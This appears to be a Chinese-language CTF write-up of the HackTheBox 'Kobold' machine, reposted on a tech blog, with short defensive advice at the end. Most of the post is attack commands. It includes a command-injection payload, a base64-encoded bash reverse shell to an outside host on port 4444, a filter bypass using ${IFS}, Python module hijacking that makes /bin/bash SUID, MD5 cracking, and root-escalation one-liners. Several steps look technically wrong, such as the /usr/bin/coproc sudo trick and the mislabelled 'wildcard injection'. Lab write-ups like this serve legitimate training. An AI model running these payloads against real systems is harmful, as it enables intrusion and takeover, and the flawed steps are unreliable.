news 2026/11/4 3:02:56

Kobold靶机渗透测试实战:从Web漏洞到Root提权

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Kobold靶机渗透测试实战:从Web漏洞到Root提权

1. 靶机概述与渗透测试思路

Kobold是HackTheBox平台上一台中等难度的Linux靶机,其名称暗示了与游戏或角色扮演相关的背景。这台机器主要考察攻击者对Web应用漏洞的识别能力、权限提升技巧以及对非常规漏洞利用手法的理解。从实战角度来看,Kobold模拟了企业环境中可能存在的配置缺陷和服务漏洞组合场景。

我最初接触这台靶机时,发现它呈现出典型的三阶段渗透路径:

  1. 通过Web应用漏洞获取初始立足点
  2. 利用服务间信任关系横向移动
  3. 突破权限隔离实现提权

这种设计模式在真实企业内网渗透中非常常见,使得Kobold成为练习实战技巧的优秀素材。接下来我将详细拆解每个阶段的突破过程,包括那些在官方解法之外的有效攻击路径。

2. 信息收集与漏洞识别

2.1 基础扫描与端口探测

使用经典的Nmap扫描组合获取初始情报:

nmap -sV -sC -p- -T4 10.10.11.204 -oA kobold_scan

扫描结果显示开放了两个关键端口:

  • 22/tcp:OpenSSH 8.2p1(显示需要身份验证)
  • 80/tcp:Apache httpd 2.4.41(运行着Web服务)

Web服务的Banner信息特别值得关注:

Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/7.4.3

这套组合(Apache+PHP)在HTB靶机中经常存在历史漏洞利用可能。进一步目录扫描发现关键路径:

gobuster dir -u http://10.10.11.204 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

扫描结果中/playground目录引起了我的注意,这个名称暗示可能存在代码执行或沙箱逃逸漏洞。

2.2 Web应用功能分析

访问主页面显示一个名为"Koboldcraft"的游戏角色创建页面,包含以下功能点:

  • 角色名称输入(前端验证)
  • 角色属性生成(调用后端API)
  • 结果展示页面(含Base64编码的参数)

通过Burp Suite拦截请求发现关键API端点:

POST /api/roll.php Content-Type: application/json {"input":"2d6+3"}

这个端点接受骰子表达式输入,返回JSON格式的投掷结果。测试发现存在命令注入特征:

  1. 输入2d6+3;id返回系统信息
  2. 输入2d6+3$(whoami)显示当前用户为www-data

重要发现:参数未经过滤直接传递给底层系统命令,存在RCE漏洞

3. 初始访问与立足点建立

3.1 漏洞利用开发

基于发现的命令注入漏洞,构造反向Shell载荷:

bash -c 'bash -i >& /dev/tcp/10.10.14.23/4444 0>&1'

由于存在特殊字符限制,需要编码处理:

  1. 先将Payload转换为Base64:
echo "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" | base64
  1. 构造注入命令:
{"input":"2d6+3;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMy80NDQ0IDA+JjEK|base64${IFS}-d|bash"}

技巧:使用${IFS}替代空格绕过过滤,这是Linux下特殊的内部字段分隔符

3.2 稳定Shell获取

成功获取反向Shell后,立即进行环境加固:

python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

在用户目录发现关键信息:

cd /home ls -la kobold/.ssh

发现存在authorized_keys文件但无权限读取,暗示可能需要通过SSH密钥进行横向移动。

4. 权限提升路径分析

4.1 横向移动:从www-data到kobold

检查系统进程发现有趣现象:

ps aux | grep kobold

显示存在定期运行的Python脚本:

/usr/bin/python3 /opt/wyvern/code/cleanup.py

该脚本以kobold用户身份运行,且脚本目录可写:

ls -la /opt/wyvern/code

分析cleanup.py发现存在不安全的模块导入:

from utils import cleanup

利用Python的模块搜索路径特性,我们可以创建恶意的utils.py:

import os os.system('chmod +s /bin/bash')

等待计划任务执行后,/bin/bash将获得SUID权限:

ls -l /bin/bash bash -p

4.2 提权至root

获取kobold用户权限后,在home目录发现隐藏文件:

cat /home/kobold/.config/servers.json

文件包含SSH连接配置和密码哈希:

{ "ssh": { "user": "admin", "host": "localhost", "password": "5f4dcc3b5aa765d61d8327deb882cf99" } }

使用John破解MD5哈希:

echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

获取密码"password"后,通过SSH连接本地admin账户:

ssh admin@localhost

检查sudo权限发现:

sudo -l User admin may run the following commands on kobold: (ALL) NOPASSWD: /usr/bin/coproc

研究coproc命令发现其本质是Bash内置函数,可通过环境变量注入实现提权:

sudo COPROC=() { :; }; /bin/bash /usr/bin/coproc

最终成功获取root权限,完成整个渗透流程。

5. 技术要点总结与防御建议

5.1 漏洞链分析

这台靶机展示了典型的漏洞利用链:

  1. Web应用命令注入(CWE-78)
  2. 不安全的计划任务配置(CWE-269)
  3. Python模块劫持(CWE-427)
  4. 凭证硬编码(CWE-798)
  5. Sudo配置缺陷(CWE-269)

5.2 防御措施建议

针对企业防御的实用建议:

Web应用层:

  • 所有用户输入必须经过严格过滤
  • 使用白名单机制验证骰子表达式格式
  • 避免直接拼接系统命令

系统配置层:

  • 计划任务脚本应设置为不可写
  • 使用虚拟环境限制Python模块搜索路径
  • 敏感配置文件设置适当权限

权限管理:

  • 避免在配置文件中存储明文或弱哈希密码
  • 谨慎分配sudo权限,特别是对解释器类命令
  • 定期审计特权命令的使用情况

6. 扩展攻击路径探讨

在实际测试中,我还发现了其他可行的攻击路径:

替代方法1:通过LD_PRELOAD提权

cd /opt/wyvern/code echo 'void _init() { setgid(0); setuid(0); system("/bin/bash"); }' > utils.c gcc -fPIC -shared -o utils.so utils.c

替代方法2:利用crontab通配符注入

echo '* * * * * root chmod 4755 /bin/bash' > exploit chmod +x exploit

这些替代方案同样有效,展示了真实环境中攻击面的多样性。建议防御方采用纵深防御策略,而非仅修补已发现的单一漏洞。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/4 3:02:54

技术文档中的简单与综合应用实践指南

1. 项目背景与核心价值"202601/重中之重"这个看似神秘的编号组合,实际上代表着一类在工程实践和学术研究中极为关键的技术文档体系。这类文档通常用于记录复杂系统中的核心算法、关键业务流程或重要技术方案的实施细节。而"简单和综合应用"则揭…

作者头像 李华
网站建设 2026/11/4 3:01:47

编译原理实验:PL/0词法分析与递归下降分析器实现

简介:这份编译原理实验报告面向东北大学秦皇岛分校计算机与通信工程学院修读编译原理课程的学生,围绕 PL/0 语言词法分析程序的设计与实现展开,可用于理解词法分析基本概念、完成实验编码与报告整理。资源包仅含 1 个 doc 文件,压…

作者头像 李华
网站建设 2026/11/4 3:01:18

AI原生应用微服务架构实践与优化

1. 为什么AI原生应用需要微服务架构去年我们团队接手了一个电商推荐系统改造项目,原系统采用单体架构,随着业务量增长暴露出三个致命问题:推荐模型更新需要停机部署、流量激增时整个系统崩溃、新功能上线周期长达两周。这促使我们转向AI原生应…

作者头像 李华
网站建设 2026/11/4 3:01:17

Cocos Creator回合制战斗系统架构:调度、结算与Buff管线

简介:CocoKnightManager 是一套基于 Cocos Creator 的回合制游戏系统设计源码,面向希望理解战斗流程抽象、模块拆分与数据驱动配置的独立开发者与学习团队,可用于搭建角色行动顺序、技能规则和状态切换等核心机制。压缩包为 zip 格式&#xf…

作者头像 李华
网站建设 2026/11/4 3:01:15

2026年前端必备图像处理工具与技术解析

1. 图像处理工具对前端与UI开发的重要性在数字产品设计领域,视觉呈现的质量直接影响用户体验和产品转化率。作为前端开发者和UI设计师,我们每天都要处理大量图像资源——从产品展示图到界面元素,从营销素材到图标系统。据统计,现代…

作者头像 李华
网站建设 2026/11/4 3:00:33

电力安全监控三维融合技术与数字孪生应用

1. 项目背景与行业痛点电力行业的安全监控体系在过去二十年里基本停留在二维平面时代。传统监控摄像头虽然数量庞大,但存在三个致命缺陷:首先是视角割裂,单摄像头只能提供局部画面,无法形成空间整体感知;其次是定位模糊…

作者头像 李华